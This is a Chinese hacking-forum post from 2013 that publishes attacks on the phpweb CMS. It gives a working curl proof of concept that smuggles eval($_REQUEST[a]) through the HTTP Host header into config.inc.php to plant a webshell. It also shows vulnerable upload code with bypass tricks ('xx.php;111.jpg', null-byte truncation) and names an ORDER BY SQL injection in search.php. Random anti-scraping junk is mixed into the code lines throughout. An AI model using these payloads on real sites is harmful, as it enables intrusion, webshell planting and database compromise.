找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2381|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:
4 x# X% L6 L8 T* x
2 {! u5 C& R" T$ }之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码3 {+ O! B* V9 r+ ^, v7 s
/ p8 Y7 V2 q$ c) R. l
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
4 o% L7 s& F0 m" C: G; A. B2 w鸡肋2: 有一定安全常识的站长都会删掉 install 目录
8 f2 r0 l/ _! q, Y+ B1 x, d   w0 @# o1 v# m9 @' N
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
# E" {" a$ Y, U: _  V $ B& V. k! p" S
分析:: m' X( V, x7 I6 M! X5 D
% m0 T0 g1 f2 [0 }8 r2 S
$ m( `# P( I5 I9 K9 T* ?
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
4 c6 U8 R7 i9 q" h7 \ 9 y+ i6 a. h" R. K5 t) L/ s6 V
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);  J+ o% X6 O5 R) |/ T0 Y, U  j
                                            $filestr=str_replace(" ","",$filestr);- A, j; }3 o; V$ J/ c. ^
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);7 k7 Q0 f1 R. W/ z8 n
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);6 f( J# C: l* @
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);  q) d6 t, T, o' S# v
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);% U2 {/ _6 W7 Q( a6 ]* w2 y  r1 s
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
( g6 E: V% B+ m: ^5 U  R8 |                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);7 l. q$ a, h1 u% _! o4 P$ u
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
- b% v) I& v( X . U8 i9 W( p- V) X5 ~1 g
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);& n- g8 i' w+ J
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^  y* K; K0 d1 `. m; x5 ?1 s
+ o8 ~8 ?; W' F' d+ F4 j* I( D
poc:
% x# Q, ?* D" t2 O. k
' g& P) o* N9 \6 _9 }?6 y( [; }# c3 N& r7 f  r6 L9 _
1
8 Y2 d6 A! ^0 W. Ccurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
( e& a2 s' a: e1 r6 n; jshell地址: /config.inc.php
) [7 w8 w# J. q) J3 w3 g. Q跟之前的 phpcms一样 需要远程数据库
( d! V) l. N8 c8 P 8 B8 N* _' s' ^
——————————————————–' F. D0 _( i* y* X+ a' J
上传漏洞(需要进后台):
9 ]3 b* ?9 a' P7 g! M7 f: z  G2 w漏洞文件: /kedit/upload_cgi/upload.php; s% d( v6 \! b5 d# t) j- {
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
% j# S& N/ Z& N2 z* K" g2 ~
& ]# i1 W$ W! f# |. q 7 _) ]* y2 N  W" m' n) O1 Z. N
<?php
  h7 o) |  V. t+ D( B+ T) i    define("ROOTPATH", "../../");0 o+ U8 |5 P: K$ V/ M! i1 g( G
    include(ROOTPATH."includes/admin.inc.php");# h' g7 I3 c- C; E/ D$ m  [8 j# H
    NeedAuth(0);1 H  T) \/ p+ y6 I( v$ [/ i
: }1 ?/ @+ ]- g& ~* Q, ~4 \# v( S' U8 G' R
    $dt=date("Ymd",time());
: ^  P8 ~2 ?) r% F8 @! L    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
6 [( ]( h# X) y- w, G. a/ |            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);: r+ _$ Q: ?0 w; E' D, c
    }/ E3 h" O- k/ d" u' K, W* W7 g
, B8 e3 k) F. g
    //文件保存目录路径  k. \' C0 ~/ _2 K. R
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
) z8 s5 S" d; b# @    echo $save_path;
% x" `9 Y. Z% X    //文件保存目录URL7 T: `( N1 W3 Z" Q& ]6 d
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';  r1 B4 {% W+ A' }4 w
6 z7 s/ U5 L  |! K
    //定义允许上传的文件扩展名) j" W5 g4 A3 w! G, W- u
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀" d% Z3 }5 r; B  e
" {! d. O! {. Q: v: W) E- v; [9 x
    //最大文件大小1 k* W& U! k) l6 C3 i
    $max_size = 1000000;5 k) w6 n* i' @3 r5 p
  L9 Q, R0 g8 p9 D5 L
    //更改目录权限
  \/ f; m$ S; D3 j# c+ x+ c    @mkdir($save_path, 0777);1 Y' d: D0 M5 X0 m
$ N% i) c# [1 c5 Q, N6 |
    //文件的全部路径
% Q$ a: r7 ]( I8 v2 N, p    $file_path = $save_path.$_POST['fileName'];   //保存文件名
- E7 h+ o6 A& B  o' _6 B2 l
  c* |7 `: x9 w    //文件URL( m; y; Q. `* q2 N2 ^7 Q9 ]" O  F
    $file_url = $save_url.$_POST['fileName'];9 o7 F; T+ p2 i: K1 f* @6 V$ v
//有上传文件时0 U6 L4 O% v1 e! h
    if (empty($_FILES) === false) {- E: n: t) y  k* r: ~& u

7 L8 E* r3 [( r' h            //原文件名, u- o' x: d2 q# \  d
            $file_name = $_FILES['fileData']['name'];
8 J6 z% U% d: o: y7 g0 z            //服务器上临时文件名
4 {% I' |) t+ ]            $tmp_name = $_FILES['fileData']['tmp_name'];; K& C, ?6 K+ n0 f; e# D* P
            //文件大小
) i! }" }% i. b" C7 o5 C/ t            $file_size = $_FILES['fileData']['size'];
: B, o2 T0 j' T            //检查目录
* S* e: n2 P7 o  M            if (@is_dir($save_path) === false) {
$ y1 ~! J$ z# ?                    alert("上传目录不存在。");" x& j" \5 U9 B! g% q* j% [
            }" s6 \1 |/ u! t7 J5 z6 n
            //检查目录写权限; O* x/ [$ ?% j0 ~# C6 j
            if (@is_writable($save_path) === false) {
/ p: c' I, s  d                    alert("上传目录没有写权限。");9 _9 Y6 L8 g0 x2 a! r
            }
- n. G" E+ \# M5 g$ J: B% |            //检查是否已上传
% ]; t$ v) i0 Z7 y! E; p/ u( Y            if (@is_uploaded_file($tmp_name) === false) {
" k' I! R. R  y7 i$ W4 L# B9 @                    alert("临时文件可能不是上传文件。");% z, w5 S+ H' V& a
            }* k, _. X( b& b) g( ^3 C% X- h. R/ a
            //检查文件大小' ]: N& V# U3 ?
            if ($file_size > $max_size) {6 }; G  e. A5 r/ `3 {2 a) l+ w
                    alert("上传文件大小超过限制。");! m& _- w! l& h$ X- ?
            }
7 Y0 ^# T) S, w- Y            //获得文件扩展名6 F" d/ v+ v* O$ o: ~- ?
            $temp_arr = explode(".", $_POST['fileName']);9 W) }8 K' L0 p- q" Z: l
            $file_ext = array_pop($temp_arr);/ O$ I/ h4 i- |; i; U
            $file_ext = trim($file_ext);
. Y- e; V- s4 I3 D            $file_ext = strtolower($file_ext);
9 H3 U2 J8 ~9 _
6 I* D- I8 `. t! V8 d- j            //检查扩展名   
8 ], i1 O) U" x            if (in_array($file_ext, $ext_arr) === false) {     7 U2 ?$ o. a" _0 L* r4 b5 H
                    alert("上传文件扩展名是不允许的扩展名。");
  S( I1 _) Z* H* f            }, v2 j% m. b4 r$ K$ S; x0 p
2 v* F4 i7 s/ D
            //移动文件   " p* G% j% u9 D* r5 D, X, V
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^5 h6 `; @  L+ o$ i
            if (move_uploaded_file($tmp_name, $file_path) === false) {
' R; a) f, d$ c4 O+ J                    alert("上传文件失败。");7 L2 N% f* J1 f* \# U7 Y
            }4 {; {- P+ L8 M. }. C( ^' o6 F; j

% q% R, h: Q* Y5 Q            @chmod($file_path,0666);
! t) V' A/ ]6 g / @' `5 E$ A( Y# F/ ?7 S& ]+ K
    ?>2 R& |. p1 w( C, a- q% ]% y  m% K
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227% \$ T8 g$ p$ x1 M

" S/ V; `- N- i2 p9 r4 Uapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
  {4 [1 V9 D! d% x. @4 V
) q$ U/ G) i% ^( S9 z9 t——————————————————
0 o, p, r8 C! B注入漏洞:( d6 T6 R: C, ^8 x3 x. y
漏洞文件:search/module/search.php: s& ~. U* u5 B+ }
/search/index.php?key=1&myord=1 [sqlinjection]
7 e$ r9 _6 Y8 b! r + s8 d. c; W; n
9 ]+ r- U4 D' E9 B6 E/ }
<?php
* q+ B* `6 ^9 E% M) U* C   //       ... 省略 n 行...! a# B4 m- Q, @4 f4 u4 B+ Y' |
   //第18行:
% c7 Q! F9 P. \' F% ^           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
% R% k) T. W3 X5 k+ d, q           $page=htmlspecialchars($_GET["page"]);; T; q" }, H$ w% g9 O/ {0 v; _
           $myord=htmlspecialchars($_GET["myord"]);
; Q: T* l% G' n4 Y  o; |( A9 d / J  B8 l' h- R
   //       ... 省略 n 行...% _9 g7 y! U9 D% j4 F9 \5 o
   $key,$myord 两个参数带入查询
$ Q) M+ w# a0 W$ K  D   //第47行 $key:
8 t& I, r, v1 f' J2 f+ u' m
8 A9 x) @! u/ x: A   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..5 i' `0 o3 l9 d3 O" P" _
5 R( o. ?$ I' t% y$ y5 K; l; T
   //第197行 $myord7 p( l/ J, B9 H+ W% c
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
" \: {) s" U9 W) f 1 z. F9 W- ]* V3 p% S
   ?>* D* m  I/ C" ?) d( N3 s
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表